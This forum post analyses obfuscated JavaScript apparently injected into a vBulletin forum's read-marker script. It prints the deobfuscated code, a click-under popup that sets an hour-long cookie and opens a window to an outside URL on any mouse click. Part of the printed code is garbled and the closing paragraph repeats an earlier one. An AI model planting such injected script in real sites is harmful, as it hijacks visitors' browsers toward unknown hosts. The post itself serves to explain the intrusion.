Jimmy Come Lately
Registered Loser
Yes, it's definitely the chunk of javascript at the end of vbulleting_read_marker.js that starts "eval function(p,a,c,k,e,t)". Running that function to deobfuscate the embedded code gives another blob of obfuscated code that uses the same function to unpack it. So running it through the function again I finally get this...
The last line explains why people have got the popups from different actions: it will trigger after a mouseclick anywhere on the page. And the cookie manipulation explains why we don't get it all the time, and it seems most likely on the first click after opening NSC: it sets a cookie that lasts for an hour and doesn't show the popup again until it has expired, so it will only trigger once an hour.
Slightly sneaky stuff to make the trigger for the popup seem random, and not so intrusive that the site becomes unusable. But ultimately just a popup. I suspect the lsuebackupsite URL then redirects to a random ad.
Code:
function PopShow3(){
CookieTest=navigator.cookieEnabled;
if(CookieTest){
ClickUndercookie=GetCookie('clickunder');
if(ClickUndercookie==null){
var ExpDate=new Date();
ExpDate.setTime(ExpDate.getTime()+(1*60*60*1000));
SetCookie('clickunder','1',ExpDate,"/");
var wnd=window.open("javascript:location.href='http://lsuebackupsite.newweb4gadget.com/images/https.php';","PopWin3","width=800,height=600,resizable=1,toolbar=1,location=1,menubar=1,status=1,scrollbars=1'");wnd.blur()
}
}
}
function GetCookie(name){
var arg=name+"=";
var alen=arg.length;
var clen=document.cookie.length;
var i=0;
while(i2)?argv[2]:null;
var path=(argc>3)?argv[3]:null;
var domain=(argc>4)?argv[4]:null;
var secure=(argc>5)?argv[5]:false;
document.cookie=name+"="+escape(value)+((expires==null)?"":("; expires="+expires.toGMTString()))+((path==null)?"":("; path="+path))+((domain==null)?"":("; domain="+domain))+((secure==true)?"; secure":"")
}
document.onmouseup=PopShow3;Slightly sneaky stuff to make the trigger for the popup seem random, and not so intrusive that the site becomes unusable. But ultimately just a popup. I suspect the lsuebackupsite URL then redirects to a random ad.
:guitar:
